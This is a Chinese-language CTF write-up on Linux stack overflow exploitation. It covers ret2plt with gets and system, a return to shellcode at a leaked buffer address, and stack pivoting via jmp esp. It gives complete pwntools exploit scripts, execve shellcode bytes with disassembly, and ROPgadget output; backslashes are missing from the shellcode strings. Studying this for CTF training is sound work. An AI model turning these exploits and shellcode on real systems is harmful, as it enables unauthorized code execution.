内容简介:上回说到,如何利用程序中system函数以及bin/sh字符串来进行pwn。这里我们会介绍,如何在栈可执行而system函数以及参数没有的情况下,如何自己布置payload进行pwn。此外,还提供了一份可以参考的pwn套路,套路熟悉了,即可慢慢转化为熟悉。故此名曰:入门到熟练(二)。所谓的入门到熟练,套路还是要有的。套路有了,就可以见招拆招。我们一步一步来。
前言
上回说到,如何利用程序中system函数以及bin/sh字符串来进行pwn。这里我们会介绍,如何在栈可执行而system函数以及参数没有的情况下,如何自己布置payload进行pwn。此外,还提供了一份可以参考的pwn套路,套路熟悉了,即可慢慢转化为熟悉。故此名曰:入门到熟练(二)。
练习题参考(利用库函数读取参数)
所谓的入门到熟练,套路还是要有的。套路有了,就可以见招拆招。我们一步一步来。
拿到题,我们需要依次查看:
- 检查保护情况
- 判断漏洞函数,如gets,scanf等
- 计算目标变量的在堆栈中距离ebp的偏移
- 分析是否已经载入了可以利用的函数,如system,execve等
- 分析是否有字符串/bin/sh
Pwn4 题目地址。
第一步,保护情况,
发现堆栈不可以执行,其他到还好。那么,我们在溢出时就需要再堆栈中部署的具有功能的地址,而不是具体的代码了。理解成堆栈中需要布置路线图,之后的程序按照这个路线图来执行。
反之,如果堆栈可以执行,我们就要思考如何布置shellcode,如何优化shellcode长度以及删除坏字符。(将在下一题的时候介绍)
第二步,检测漏洞函数。
发现是gets。这里分享一个ctf-pwn-tips,里面总结了很多的存在漏洞的函数,以及输入参数的描述,非常实用。 TIPS
第三步,确认偏移量。
有几种方式。
我们可以直接从IDA的代码中分析出来,参数距离EBP的位置。如上述,看到距离ebp是0x64(100)个的字节,那么距离存放返回地址的偏移就是100+4=104个字节。但是,IDA的分析并不都是准确的,真正准确的位置,还是需要我们手动去调试。具体方法参考 Linux PWN从入门到熟练 。这里简单整理一下步骤(假设 linux 程序在虚拟机guest执行,IDA在主机host执行):
- 拷贝linux_server到guest的程序目录,并执行;
- IDA设置远程调试,并设置正确的guest IP和端口;
- IDA设置程序的断点在return,可以方便查看寄存器;
- 运行程序;
- 用脚本patternLocOffset.py创建偏移测试字符串,700字节度比如;
- 将产生的字符串在guest中输入;
- 查看host中IDA的ebp字符串;
- 在patternLocOffset.py中计算偏移
最终应该可以看到下面类似的结果。
$ python patternLocOffset.py -l 700 -s 0x41366441 [*] Create pattern string contains 700 characters ok! [*] No exact matches, looking for likely candidates... [+] Possible match at offset 108 (adjusted another-endian) [+] take time: 0.0004 s
发现实际的偏移是108个字节,覆盖点距离ebp。那么距离返回地址就应该是108+4=112字节。可见,IDA的分析有时是不准的,需要自己去测量。
第四步,分析可以利用的函数,
发现有system的:
第五步,查找是否有系统调用字符串:
ROPgadget --binary ret2libc2 --string "/bin/sh" Strings information ============================================================
发现并没有字符串了,因此这里我们需要想个办法。
直观的想法是在shellcode中,在参数的位置直接放入字符串“/bin/sh”,比如下面这样:
payload = flat(['a' * 112, system_plt, 0xabcdabcd, “/bin/sh”])
但是正如我们前面所说,放在堆栈中的是程序执行的路线图,而不是实际的程序或者字符串,因此,按照上述方式放置字符串,system并不会读取”/bin/sh”,而是读取”/bin/sh”对应的4个字节的地址所指向的内存空间,这个空间明显是不合法,因此就会导致利用失败。
怎么办呢?我们发现程序中还载入了函数gets,那么我们可以利用gets来读取用户输入的”/bin/sh”放置到某个地址空间去,接着system再调用它。“某个地址空间”可以是下面的buf2,可以发现它的地址是0x0804A080。这个空间可以让我们使用(感觉明显是CTF题留出来的位置= =)
那么,我们的exp可以按照下面的方式安排:
##!/usr/bin/env python from pwn import * sh = process('./pwn4') shelf = ELF('./pwn4') gets_plt = shelf.plt['gets'] system_plt = shelf.plt['system'] pop_ebp = 0x0804872f buf2 = 0x804a080 payload = flat( ['a' * 112, gets_plt, pop_ebp, buf2, system_plt, 0xabcdabcd, buf2]) sh.sendline(payload) sh.sendline('/bin/sh') sh.interactive()
其中关键的代码是:
payload = flat( ['a' * 112, gets_plt, pop_ebp, buf2, system_plt, 0xabcdabcd, buf2])
相信有的朋友会不明白,为啥有个[gets_plt, pop_ebp, buf2],这样的payload布置。Pop_ebp的主要目的是让eip流向system的位置,并且取出system地址赋值给eip。
Pop_ebp其实不一定是pop ebp,pop任何其他的寄存器都可以,主要是利用该指令的esp+4的功能。比如,我们可以找到如下的位置,其中0x0804872f,0x0804843d都可以让它esp+4操作一次就好,操作多了就流的多了,就不指向system地址了,注意我们这里还要求得要返回ret一下,这样才会实际的提取system的地址出来,赋值给eip:
@ubuntu:~/ $ ROPgadget --binary pwn4 --only 'pop|ret' Gadgets information ============================================================ 0x0804872f : pop ebp ; ret 0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804843d : pop ebx ; ret 0x0804872e : pop edi ; pop ebp ; ret 0x0804872d : pop esi ; pop edi ; pop ebp ; ret 0x08048426 : ret 0x0804857e : ret 0xeac1 Unique gadgets found: 7
未来更清楚一些,画了一个图,其中序号的顺序表示,对应的命令执行完之后,esp对应的位置。
第一题(堆栈直接执行shellcode)
接下来这题,我们再轻松一点,可以直接在堆栈中执行程序。
继续前面的套路。
第一步,查看保护
发现,可以直接在堆栈上执行程序了,开启的是PIE,地址随机化的保护。
第二步,判断漏洞函数。
发现函数是read,仅仅读取0x40(64)个字节。
第三步,计算目标变量的在堆栈中距离ebp的偏移
EBP的内容为:0x3761413661413561
$ python patternLocOffset.py -l 700 -s 0x3761413661413561 [*] Create pattern string contains 700 characters ok! [*] No exact matches, looking for likely candidates... [+] Possible match at offset 16 (adjusted another-endian) [+] take time: 0.0005 s
距离EBP的偏移是16个字节,距离存放的返回地址是16+8=24个字节。
这里可以发现IDA分析的又是正确的了,0x10个字节。
第四步和第五步,分析是否已经载入了可以利用的函数,
如system,execve等
发现,并没有上述函数。但是由于堆栈可以执行,因此我们可以考虑直接将shellcode阻止在payload里面。因此,这里和第五步分析是否有字符串/bin/sh合并了,我们可以自己放置字符串,并且调用对应的地址了。
理论上,我们可以直接利用pwntools产生的shellcode来进行部署,但是这道题有点特殊。在返回地址之后所剩余的空间=64-24-8=32个字节(返回地址还要占用8个字节),因此实际部署shellcode的长度还剩下32个字节,使用pwntools产生的shellcode有44个字节,太长了。因此,我们可以从网上找到更短的shellcode:
# 23 bytes # https://www.exploit-db.com/exploits/36858/ shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
它的汇编形式是
# char *const argv[] xorl %esi, %esi # 'h' 's' '/' '/' 'n' 'i' 'b' '/' movq $0x68732f2f6e69622f, %rbx # for 'x00' pushq %rsi pushq %rbx pushq %rsp # const char *filename popq %rdi # __NR_execve 59 pushq $59 popq %rax # char *const envp[] xorl %edx, %edx syscall
好了,shellcode确定好了,我们现在还有一个问题。Shellcode执行的地址如何确定呢?shellcode的地址,其实就是buf的地址加上32个字节的偏移。
我们前面发现,该程序是动态改变地址的,因此静态的确认buf地址是不可行的,进而静态的确认shellcode的地址是不可行的。
处理到这里好像有点死胡同了,我们发现程序中有printf函数,理论上可以利用它来打印buf的地址,然后实时的计算buf+32的地址,就能够得到shellcode的地址。但是,我们回头看看程序本身的执行,会发现:
它实际上已经为我们解决了这个问题,自己输出了buf的地址(= = CTF题目的难易程度真的是微妙之间呀)
那么,我们的exp思路就是: 实时读取buf的地址,计算buf+32得到shellcode的地址,放置在payload中。
from pwn import * code = ELF('./pwn5') # 23 bytes # https://www.exploit-db.com/exploits/36858/ shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05" sh.recvuntil('[') buf_addr = sh.recvuntil(']', drop=True) buf_addr = int(buf_addr, 16) payload = 'b' * 24 + p64(buf_addr + 32) + shellcode_x64 sh.sendline(payload) sh.interactive()
堆栈的布置图,以及地址的相对位置,以buf为起点。
第二题(控制esp进行精准打击)
接下来,我们来点有难度的。在这个程序中,我们的payload实在放不下了,即使是23字节,那么怎么办呢?
继续前面的过程:
第一步:检测保护情况
发现,是个三无程序。么有任何保护,看起来很简单?哈哈,并没有。看官请继续。
第二步,判断漏洞函数,
如gets,scanf等
发现是fgets函数,仅仅读取50个字节的字符长度。
第三步,
计算目标变量的在堆栈中距离ebp的偏移。
方法和前面类似,发现偏移距离ebp是0x20,那么距离ret_addr就是0x20+4=0x24(36)字节了。
第四步和第五步:
分析是否已经载入了可以利用的函数。发现并没有
$ ROPgadget --binary stack_pivoting_1 --string '/bin/sh' Strings information ============================================================
字符串自然也是没有的。
我们考虑利用shellcode,好像可以类似于上一题的操作了。但是并不能,留给我们布置shellcode的长度为50-36-4=10字节(同样有4个字节的返回地址存放)!尴尬不==,放两个地址就没有位置了。但如果你能够厉害到用10个字节做shellcode,请大胆分享出来!
那么怎么办呢?
既然,堆栈溢出的位置不行了,那么我们就把shellcode放在栈里面吧!因为堆栈具有可执行的权限,因此这样完全是可行的。
这里,我先放图出来解释一下思路:
我们这样就总共有0x20(36个字节)的位置存放shellcode的了,顿时感觉找到了新出路。但是,要做到跳转到放置shellcode的位置,似乎并没有那么简单。要达到这个目的,我们需要做到以下几件事情:
- 推算shellcode放置的地址
- 跳转到shellcode放置的位置
首先,第一点,shellcode的位置就是发射payload的时候esp_old的位置,我们可以推算出来,当程序提取完返回地址之后,esp指向的地址距离esp_old的地址为0x20+4(ebp)+4(ret_addr)=0x28。因此,我们需要用当前的esp-0x28,得到的就是shellcode的地址。
对于第二点,我们如何让eip顺利的依次取出我们设计好的路线图呢?在ret_addr,我们需要寻找到一个gadget,它能够跳转到esp的位置,以继续往后执行栈上的代码。注意,这里我们为什么不直接将可执行的代码布置在ret_addr的位置,因为这里是原本的函数提取返回函数地址的地方,它并不会执行这里位置的代码,而是执行这个位置的内容指向的地址的代码。我们需要jmp esp这个操作,来让程序流获得在栈上执行的先河。
$ ROPgadget --binary stack_pivoting_1 --only 'jmp|ret' | grep 'esp' 0x08048504 : jmp esp
发现只有这么一个地址。0x08048504。这也正是图中的位置。注意,当我们取出ret_addr里面的地址的时候,esp已经+4了,因此就会指向我们的下一步操作:跳转回esp_old的位置。
在这里,我们直接可以选择让pwntools产生可执行的代码”sub esp 0x28; jmp esp”。注意,这里可以是直接运行的代码,因为我们的程序已经开始在栈上执行了,而不再是取出地址了。
最后的EXP按照下面这样布置:
from pwn import * sh = process('./pwn6') shellcode_x86 = "x31xc9xf7xe1x51x68x2fx2fx73" shellcode_x86 += "x68x68x2fx62x69x6ex89xe3xb0" shellcode_x86 += "x0bxcdx80" sub_esp_jmp = asm('sub esp, 0x28;jmp esp') jmp_esp = 0x08048504 payload = shellcode_x86 + ( 0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp sh.sendline(payload) sh.interactive()
注意,这里我们又启用了另外一段代码:
它更加短,只有21个字节。Shellcode越短是越好的。它的汇编对应如下:
shellcode_x86 = "x31xc9” # xor ecx, ecx shellcode_x86 += “xf7xe1” # mul ecx shellcode_x86 += “x51” # push ecx shellcode_x86 += "x68x2fx2fx73x68" # push 0x68732f2f shellcode_x86 += "x68x2fx62x69x6e" # push 0x6e69622f shellcode_x86 += “x89xe3” # mov ebx, esp shellcode_x86 += “xb0x0b” # mov al, 0xb shellcode_x86 += "xcdx80" # int 0x80
总结
最后,再次给大家留下练习题。
给大家一个小tips,32位和64位程序的调试,一般的处理方式是准备两个虚拟机。但是这样操作太麻烦了,而且pwntools在32位下面经常无法正常工作。怎么办呢?理论上64位ubuntu是可以运行32位程序的,但是需要相关的库函数安装。使用下面的命令安装就好( 参考 ):
sudo dpkg --add-architecture i386 sudo apt-get update sudo apt-get install zlib1g:i386 libstdc++6:i386 libc6:i386
如果是比较老的版本,可以用下面的命令:
sudo apt-get install ia32-libs
如果大家觉得好,欢迎大家来我的github主页follow: desword_github , desword
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- TiDB入门(四):从入门到“跑路”
- MyBatis从入门到精通(一):MyBatis入门
- MyBatis从入门到精通(一):MyBatis入门
- Docker入门(一)用hello world入门docker
- 赵童鞋带你入门PHP(六) ThinkPHP框架入门
- 初学者入门 Golang 的学习型项目,go入门项目
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。